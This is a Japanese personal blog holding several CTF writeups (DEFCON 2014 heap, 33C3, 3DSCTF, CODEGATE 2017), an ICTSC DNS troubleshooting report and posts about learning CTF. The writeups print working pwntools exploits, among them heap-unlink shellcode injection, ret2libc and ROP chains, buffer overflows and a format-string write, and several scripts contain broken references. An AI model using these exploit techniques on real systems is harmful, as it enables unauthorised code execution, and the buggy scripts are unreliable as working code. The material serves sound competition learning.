ブログ未満のなにか

ブログなのか誰にも分からない

DEFCON 2014 CTF - Baby's First: 1 - heap

はじめに

heap系の問題が良くわからないので、katagaitai CTF勉強会(https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)で取り上げられていた問題を解いてみた。
やっていることはだいたい同じなので、違うところだけを書いていく。

exploit

kataigait CTF勉強会では、printfのGOTを書き換えてeipを奪っていた。exit_funcでも良くね?と思い、exit_funcを書き換える方向でやってみた。
飛ばす先は、チャンクの先頭(?)で、unlinkの際に書きかわる部分は、mov eax, みたいな命令でやりすごしている。
全てのfreeが完了したら、exit_funcから入力したシェルコードが呼ばれてシェルが起動する。

from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log

RHOST = "localhost"
RPORT = 8080
LHOST = "127.0.0.1"
LPORT = 8080

# libc = ELF('')
elf = ELF('./heap')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        #b *{0}
        #b *0x8048afa
        ignore 2 0x0a
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./heap'], execute=execute)
else:
    conn = process(['./heap'])
    # conn = process(['./heap'], env={'LD_PRELOAD': ''})

# preparing for exploitation
bufsize = 260

exit_func = 0x804c8ac
printf_got = 0x804C004

log.info('Pwning')

conn.recvuntil("size=755]\n[ALLOC][loc=")
shellcode_base = int(conn.recv(7), 16)
log.info("{:#x}".format(shellcode_base))
conn.recvuntil('[size=260]:')

payload = "\x90\x90\x90\xb8"
payload += "JUNK"   # overwrite at unlink
payload += asm(shellcraft.sh())
payload += "A" * (bufsize - len(payload))
payload += p32(0x1)
payload += p32(exit_func - 8)
payload += p32(shellcode_base)

conn.sendline(payload)

conn.interactive()

第7回ICTトラブルシューティングコンテスト 感想

はじめに

大学サークルチーム「tuat_mcc」として第7回ICTトラブルシューティングコンテストに参加した。CTFをやっているいつもの3人+期待の後輩2人というチーム構成だった。3月3日土曜日、4日日曜日の2日間に渡って開催され、場所は調布にあるNTTの研修センターだった。


問題は、複数の会社でトラブルが発生し、それを解決したり原因の特定をしたり対策をしたりする感じだった。サーバー系の問題やネットワークの問題など多岐にわたるジャンルから出題されていたらしい。

このポストでは、感想と自分が解けた問題のwriteupを書いていく。writeupを書いていいことは、運営に尋ねたら了承してくれた。

TAB (D社の1問目)

問題文は以下の感じで、サーバのドメインとユーザー名、パスワードも一緒に与えられていた。DNSに関する問題で、自分はDNSを名前解決する何かとしか認識していなかったので、調べながらの挑戦となった。

社内のDNSサーバを構築する際、上司はコンテンツサーバとキャッシュサーバを別にしなければならないというこだわりを見せた。
リソースが足りないため1台のサーバに同居させたところ、正しくフォワードされないようである。
この不具合を修正し、 http://t[チーム番号].p22.ictsc が表示されることを確認してほしい。

サーバーには、コンテンツサーバーとしてNSD、キャッシュサーバーとしてunboundがインストールされていた。2つのサービスはデフォルトで53番ポートを使用する設定になっているため、片方のポートを変えてやる必要があった。NSDを10053番ポート、unboundを53番ポートにして同時に動作できるようにした。しかし、ここでNSDを起動しても落ちてしまっていた。原因はSELinuxで、10053番をDNSで使えるように設定する必要があった。

sudo  semanage port -l  | grep 53
apertus_ldp_port_t             tcp      539
apertus_ldp_port_t             udp      539
dns_port_t                     tcp      53
dns_port_t                     udp      53

下記の手順で、10053番ポートをDNSで使えるようにした。TCPUDPを両方設定したのは念のため。これでNSDを起動しても落ちないようになった。

sudo semanage port -a -t dns_port_t  -p tcp 10053
sudo semanage port -a -t dns_port_t  -p udp 10053


正答条件には、参加者がいるネットワークのブラウザから、http://t[チーム番号].p22.ictsc へアクセスできることが含まれている。t[チーム番号].p22.ictscの名前を解決する情報は、ログインしているサーバーに存在しており、参加者がいるネットワーク内のDNSから、ログインしているサーバへDNSのリクエストが飛んでくる。これに気付かずに1日目を潰してしまい、気づいた2日目の昼にはヒント公開と同時に点数が下げられてしまい痛かった。unboundの設定で、参加者ネットワーク内のDNSから来るリクエストを許可すれば良い。

ここまでしても解決されなかったので、tcpdumpの結果を眺めていたら、より下の階層で弾かれてないか?と気づきiptablesDNSが使用するポートを通過するように設定した。これで無事に名前が解決できて、ブラウザからt[チーム番号].p22.ictscへとアクセスできるようになった。

感想

ICTSCには初めて参加だったが、とても楽しかった。今まで参加したことがないジャンルのコンテストだったので、自分に足りないものを知ることができた。あと、独走していた社会人チームを見て、突き抜けた大人はカッコイイなぁと思った。

それと、どうでもいいことなのだが、一つだけ残念だったことがあった。1日目の昼食時にチームメンバーがハンバーグ弁当を選んでおり、その中には大きなハンバーグが入っていて、とても美味しそうだった。2日目の昼食時、1日目の印象から今日はハンバーグにしようと、ハンバーグ弁当と書かれた札から取った弁当は、1日目のものと違い、ハンバーグが入っているが小さくガッカリした。1日目のものとは違ったがハンバーグは入っているので、よく確認しなかった自分が悪いのだが、あの時はとても残念だった。

CODEGATE 2017 CTF EasyCrack 101

はじめに

101個のバイナリファイルのkeyを当てるだけ。
angr使って解いた。
チーメメンバがcurl使って自動送信するコードを書いてくれたので、途中からは、そのコードを使って分担してた。
そのコードは載せてない。

solve.py

keyはコマンドライン引数にて指定するので、コマンドライン引数を解析対象にするようにしている。
keyの長さは、最初適当に120とかにしていた。その後は解析結果を眺めながら、この程度が妥当だろうという長さに設定し直した。

import angr
import claripy
from pwn import *
import sys

for i in range(1, 102):
    fname = "prob"+str(i)
    binf = open(fname, 'rb').read()
    addr_main       = u32(binf[0x5b0:0x5b4])
    addr_succeeded  = addr_main+0x50
    addr_failed     = addr_main+0x5c

    #key_length = 120
    key_length = 50

    p = angr.Project(fname)
    arg1 = claripy.BVS('arg1', key_length*8)
    com = "./" + fname
    initial_state = p.factory.entry_state(args=[com, arg1], add_options={"BYPASS_UNSUPPORTED_SYSCALL"})

    for b in arg1.chop(key_length):
        initial_state.add_constraints(b != 0)
    pg = p.factory.path_group(initial_state, immutable=False)
    e = pg.explore(find=addr_succeeded, avoid=addr_failed)

    for path in pg.found:
         key = path.state.se.any_str(arg1)
         print fname, repr(key)


1ファイルあたり15秒程度で解析できていた。
ASCIIのprintableな文字がkeyなので、それを送信していた。

% python solve.py
prob1 'T}gTRvNZAK_Exv^vqpDwCW\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
prob2 '}hGafk~acCtypkaEoi||f}tzsr\x00\x00\x00\x00\x00?\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
prob3 'ELFT[^MYLINQMI_FQFYKOOZ^U\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
...

33C3 CTF writeup

はじめに

TokyoWesternsで参加して6位でした。pwnを中心にやってたのですが、解析パートが辛く厳しかった。僕が関わった問題2問のwriteupです。

The 0x90s called (pwn 150)

Linuxカーネルが動作するサーバーにアクセスして、rootでしか読めないflagを読む問題。
途中まで出来たが最後はプロが解いてくれた(圧倒的感謝🙏)。

% nc 78.46.224.70 2323

Welcome to Linux 0.99pl12.

slack login: challenge
Password:challenge

Linux 0.99pl12. (Posix).
No mail.
slack:~$ uname -a
Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586

/etc/passwdを見ると、syncはパスが設定されてない。suコマンドでsyncの権限でコマンド実行することが可能だった(ここまではできた)。rootグループの権限があってもflagは読めないのでもう一捻り必要。

cat /etc/passwd
root::0:0::/:/bin/sh
daemon:x:1:1::/etc:
bin:x:2:2::/bin:
adm:x:4:4::/:
uucp::5:5::/usr/uucp:
sync::255:0:::/bin/sync
anonymous:*:403:1::/home/ftp:/bin/sh
ftp:*:404:1::/home/ftp:/bin/sh
challenge:*:405:1::/home/challenge:

slack:~$ su sync -c 'id'
uid=255(sync) gid=0(root)

プロが/dev/*は、rootグループでreadできることに気づいた./dev/hdaにファイルが書き込まれていることに気づきdone.

su sync -c 'cat /dev/hda'

(skip)
33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3
(skip)

rec

flagのsubmitはしたが、正直何もしてないごっつぁんゴール。やったことは、rubyで書かれたexploitをpythonに書き直し、libcをリークさせようとしてた。libcのリークは完全に無駄で、オフセットから特定が可能だった。

Signは入力した数値の符号を返す機能で、入力に応じてeaxに関数を設定してcall eaxしている。
0を入力すると、eaxに関数が設定されず、stack上の値がeaxに格納される。
うまいことstackを調整し、呼び出したい関数をstackに積んでから0を入力すればいい。


from pwn import *

def m(u32):
    return -(0xffffffff - u32 + 1)

def send_cmd(num):
    repr(conn.recvuntil('> '))
    conn.sendline(str(num))
    print '< ', num
    return  

def send_addr100(addr): 
    for i in range(100):
        conn.sendline(str(addr)) 

host = '78.46.224.74'
port = 4127

# myabe address so must dump libc 
libc_stdout_offset = 0x1b3d60
libc_system_offset = 0x3b020
libc_binsh_offset = 0x15cbcf
libc_system_offset = 0x0003a8b0

conn = remote(host, port)

# leak some addreses
send_cmd(1)
conn.recvuntil('Your note: ')
recv = conn.recv(16)
print repr(recv)
stack_addr = u32(recv[0:4])
pie_base = u32(recv[4:8]) - 0x6fb
libc_base = u32(recv[8:12]) - libc_stdout_offset 
print '[+] pie_base =', hex(pie_base)
print '[+] libc_base =', hex(libc_base)

send_cmd(2)
conn.recvuntil(': ')
conn.sendline('S')
send_func100(m(libc_base + libc_system_offset))

conn.recvuntil(': ')
conn.sendline(str(m(libc_base + libc_binsh_offset)))
conn.sendline('.')
send_cmd(5)
conn.sendline('0')

conn.interactive()
% python exploit.py 
[+] Opening connection to 78.46.224.74 on port 4127: Done
<  1
'\xb8\xd0\xe5\xff\xfb\x16ZV`\x9dm\xf7\xfe ZV'
[+] pie_base = 0x565a1000
[+] libc_base = 0xf7526000
<  2
<  5
[*] Switching to interactive mode
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ ls
bin
boot
challenge
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cat /challenge/flag
33C3_L0rd_Nikon_would_l3t_u_1n

おわりに

任意の問題が辛かったのでもっと精進したい。
rev力の無さを痛感したので精進したい。
Firefox exploitationの問題はwriteup読みながらでも解きたい。

The 318br, DESEC, and SucuriHC Capture The Flag (3DSCTF) writeup

はじめに

ソロで参加しました。
時間内に2問解いたけど、参加している間に問題の解放がされなかったので、あとの2問は競技時間外に解きました。
pwnだけしか解いてないので許して。

Get started (pwn 100)

BOFがありリターンアドレスの書き換えが可能であった。
ファイルからflagを読み込み表示する関数がいるので、リターンアドレスをその関数に書き換える。
関数内で引数のチェックがあるので、チェックが通るように引数を設定する。

from pwn import *

get_flag = 0x080489a0

conn = remote('54.175.35.248', 8005)

payload = 'A' * (0x3c - 4)
payload += p32(get_flag)
payload += 'AAAA'
payload += p32(0x308cd64f)
payload += p32(0x195719d1)

conn.sendline(payload)
print conn.recv(1024)

not the same

BOFにてリターンアドレスが書き換えられる。
ファイルからflagを読み出す関数があるが、読み出すだけで出力しない。
flagは固定アドレスに書き込まれるので、printfで出力しておしまい。

from pwn import *

get_flag = 0x080489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x806d7d1
#payload = 'A' * (0x3c - 4)
payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += p32(get_flag)
payload += p32(printf)
payload += 'AAAA'
payload += p32(flag)
conn = remote('54.175.35.248', 8006)
conn = process('not_the_same') 
conn.sendline(payload)
print conn.recv(1024)
from pwn import *

get_flag = 0x080489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x806d7d1

#payload = 'A' * (0x3c - 4)
payload += p32(get_flag)
payload += p32(printf)
payload += 'AAAA'
payload += p32(flag)

conn = remote('54.175.35.248', 8006)
conn.sendline(payload)
print conn.recv(1024)

### 3DS{b0f_pr4_c0m3c4r_n3}

Please no (pwn300)

BOFでリターンアドレスの書き換えが可能。
ファイルをオープンし、その中身を出力している関数があるが、肝心のファイル名がbss領域に存在するが、空となっている。
アセンブルした結果を眺めていると、ファイル名に該当するアドレスへとstrcatしている関数が複数存在する。
連結される文字列を組み合わせて、妥当そうな文字列を構成してからファイルの中身を出力させる関数を実行させるようにした。

from pwn import *

host = '209.190.1.131'
port = 9003
file_name = 'please-no'


mflag_addr = 0x8048690
text_addr = 0x8048650
flag_addr = 0x8048590
pop3_ret_addr = 0x8048789


'''
mflag
 8048690:       83 ec 1c                sub    esp,0x1c
 8048693:       81 7c 24 20 41 0c 0b    cmp    DWORD PTR [esp+0x20],0x1b0b0c41
 804869a:       1b 
 804869b:       75 2d                   jne    80486ca <fgetc@plt+0x26a>
 804869d:       81 7c 24 24 4e 37 13    cmp    DWORD PTR [esp+0x24],0xae13374e
 80486a4:       ae 

 80486a5:       75 23                   jne    80486ca <fgetc@plt+0x26a>
 80486a7:       c7 44 24 16 6d 66 6c    mov    DWORD PTR [esp+0x16],0x616c666d
 80486ae:       61 
 80486af:       66 c7 44 24 1a 67 00    mov    WORD PTR [esp+0x1a],0x67


# .text
 8048650:       83 ec 1c                sub    esp,0x1c
 8048653:       81 7c 24 20 37 13 b0    cmp    DWORD PTR [esp+0x20],0xb0b01337
 804865a:       b0 
 804865b:       75 23                   jne    8048680 <fgetc@plt+0x220>
 804865d:       c7 44 24 16 2e 74 65    mov    DWORD PTR [esp+0x16],0x7865742e
 8048664:       78 
 8048665:       66 c7 44 24 1a 74 00    mov    WORD PTR [esp+0x1a],0x74
'''

elf = ELF(file_name)

if len(sys.argv) == 2:
    conn = remote(host, port)
else:
    conn = process(file_name)


payload = 'A' * 20
payload += p32(mflag_addr)
payload += p32(pop3_ret_addr)
payload += p32(0x1b0b0c41)
payload += p32(0xae13374e)
payload += 'AAAA'

payload += p32(text_addr)
payload += p32(pr)
payload += p32(0xb0b01337)
payload += 'AAAA'
payload += 'AAAA'
payload += p32(flag_addr)
payload += p32(0x8048420)
conn.sendline(payload)
print repr(conn.recv(1024))
conn.close()

### 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}

echoindiapapa (pwn 400)

FSB
0x601080が0x180であればwin関数が呼ばれ、flagを得ることができる。
スタック上に、このアドレスが積まれており、そのオフセットは10であった。

from pwn import *
host = '209.190.1.131'
port = 9005

string_addr = 0x601080
main_addr = 0x400750
if len(sys.argv) == 2:
    conn = remote(host, port)
else:
    conn = process(file_name)

conn.recvuntil('name?')
payload = '%384c%10$n'
conn.sendline(payload)
print repr(conn.recv(1024))
print repr(conn.recv(1024))

### 3DS{FS4_1s_4_b1t_und3r5t1m4t3d}

おわりに

息抜きちょうどよかった。

CTFをやり始めたきっかけとかいろいろ

はじめに

この記事は、CTF Advent Calendar 2016 - Adventarの20日目の記事です。
空いている日を埋めようとしている作成者を見かけたので、便乗して書きました。
中身は、まったく技術的なことがないポエムです。

CTFを知ったきっかけ

地元の有志による勉強会で、「セキュリティを勉強しよう!それにはCTFがいいよ!」みたいなLTを聞いたのがキッカケだったと思います。
その時点まで、セキュリティとかまったく興味ありませんでした。
しかし、ただ興味を持っただけで、実際にCTFを始めたのはもっと後になってからでした。

はじめてのCTF(?)

「CTFって楽しいなぁ、やってみよう」と思ったのは、mixiさん主催のscrap challengeがキッカケでした。
詳細は、リンク先をみてください。大雑把にイベントの内容を説明しますと、mixiのクローンサイトに脆弱性を埋め込み、そこを突いて情報を抜き出し競い合いといった感じです。
SQL Injectionを駆使した問題で、うまくいった時にめちゃくちゃ脳汁が出たのを覚えています。
この時の快感が忘れられずに、CTFにのめり込んで行きました。

学生向けイベント「git challenge」のご案内 - mixi engineer blog

それから1年ぐらい

CTFtime見ながら、良さげなオンラインCTFを探して、ソロで参加してました。
オンラインCTFがやってないときは、常設CTFの問題解いてました。
だいたい、以下の常設CTFやってました。

それと、たまに大学サークルチームでSECCONの地方大会に出たりしてました。
そういう世界観のA&Dとか、1秒で切り替わるバイナリとか楽しかったです。

勉強するときは、有名なinaz2さんのももいろテクノロジー読んだりしてました。
inaz2.hatenablog.com

ytokuさんのPwn勉強会の資料とか読んで実践してました。
ytoku/Slides/Pwn勉強会 - 電気通信大学MMA

どなたのサイトか分からないのですが、以下のサイトも体系的にまとまっていたので、参考にさせていただきました。
CTF Pwn - A painter and a black cat

これから

色々なジャンルの問題に手を出してみて、他よりも良く出来たのがpwnだったので、pwn精進していきたいです。
heapがよくわからんので、glibcソースコード読んだり、小崎さんのmalloc動画を見て仕組みを理解したいなーといった感じです。
The 67th Yokohama kernel reading party - YouTube

あとは、bataさんのリスト埋めて経験積んでいきたい。(medium easyまでしか解けてない...)
pwn challenges list - Pastebin.com

最近、チームに入れてもらったので貢献できるようになりたいなーと。

おわりに

だから何なんだ、という内容でした。
最後まで読んでいただきありがとうございました。

MCC CTF workshopのはなし

はじめに

この記事は、MCC Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目の記事は、Cherry氏のE科鬼実験体験談 | MCC Blogです。

こんばんわ、S科B4のhamaです。役職などありませんが、CTFの方にちょくちょく参加してます。
今回は、タイトル通りにCTF workshopについて書きたいと思います。

概要

9月7日、9日に開催されました。
7日は、shift_crops先生によるexploit(pwn)とbinaryの講義。
9日は、monjisan先生によるWebの講義と、icchy先生によるForensicの講義でした。

binary

binaryは、与えられた実行形式ファイルを解析してフラグを得るというのが目標となるジャンルで、講義ではアセンブラの読み方など初歩からやっていました。
shift_crops先生は、ctf4bという入門者向けの講座の先生も務めている大先生なので、わかりやすく楽しい講義でした。

exploit

脆弱性のあるバイナリが10個ほど与えられました。
脆弱性を突きシェルを奪うのがゴールで、黙々と攻撃してました。
取り扱った脆弱性は、FSB(Format String Bug)と、BOF(Buffer OverFllow)でした。
あとはShellcodeに関するものもありました。
shift_crops大先生は、pwnの大先生なので細かいテクニックなども聞けて楽しかったです。

web

すいません、よく聞いてなかったのか覚えてません。
MCCのslackの#ctf_workshopに、スライドが上がってるので確認してください。
monjisan先生は、javascriptの大先生なのでwebに強いです。

forensic

icchy先生によるforensicの講義です。
forensicとは何かから始まり、この間開催されたTWCTFの問題を解説を交えながら解きました。

おわりに

だいたいの資料や使用したバイナリでは、#ctf_workshopに上がってますので部員なら誰でも閲覧できると思います。
次回のworkshopが開催されるとかされないとか微妙な感じなので、参加希望者多数にして開催しましょう!!!

次の24日目記事は、gurapomu氏のMinecraft Modding 入門です。